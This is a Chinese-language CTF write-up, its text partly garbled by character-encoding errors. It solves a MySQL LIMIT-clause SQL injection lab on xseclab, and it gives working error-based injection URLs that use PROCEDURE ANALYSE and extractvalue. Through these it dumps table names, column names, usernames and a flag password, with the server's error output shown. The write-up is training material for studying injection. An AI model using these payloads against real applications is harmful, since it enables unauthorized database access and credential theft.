http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
鏈接點(diǎn)進(jìn)去,發(fā)現(xiàn)
Today
I meet a girl
然后F12 啥也沒(méi)有脆贵,可是url里面有兩個(gè)參數(shù):start=0&num=1
然后多次嘗試更改start&num 參數(shù)值
發(fā)現(xiàn)一個(gè)奇妙的事情:
更改start的參數(shù)值可以顯示不同內(nèi)容来颤,而num不可以
這是一道limit的題,比以往遇到的有點(diǎn)不一樣,真是一關(guān)比一關(guān)難啊议街。
那么我們先放上來(lái)一篇文章給大家看看
http://www.freebuf.com/articles/web/57528.html
select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代碼)),1);
這是limit注入的樣栗
procedure analyse 通過(guò)分析select查詢結(jié)果對(duì)現(xiàn)有的表的每一列給出優(yōu)化的建議
extractvalue 冤留,? ? EXTRACTVALUE (XML_document, XPath_string); 從目標(biāo)XML中返回包含所查詢值的字符串
rand(), 返回一個(gè)介于 0 到 1(不包括 0 和 1)之間的偽隨機(jī) float 值。
concat 倡鲸, 返回結(jié)果為連接參數(shù)產(chǎn)生的字符串供嚎。如有任何一個(gè)參數(shù)為NULL ,則返回值為 NULL
這里利用的是報(bào)錯(cuò)注入法,而且跟XPATH有關(guān)查坪,至于具體內(nèi)容大家可以自行搜一下
那么我們?cè)谳斎隨QL注入代碼的地方開始正常搭建注入
procedure analyse(extractvalue(rand(),concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23&num=1
出現(xiàn)了報(bào)錯(cuò)提示寸宏,但是已經(jīng)出來(lái)了結(jié)果
XPATH syntax error: 'article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
那么我們繼續(xù)在user中爆列名,article也是一樣的偿曙。
別忘了氮凝,表名要16進(jìn)制轉(zhuǎn)碼
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1 %23
懶得截圖了
XPATH syntax error: ': id,username.password,lastloginI'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
出現(xiàn)了:id,username.password,lastloginI
繼續(xù)查詢username表
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23&num=1 %23
結(jié)果就出來(lái)了
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23&num=1 %23
flag? ? ?myflagishere
這道題好難啊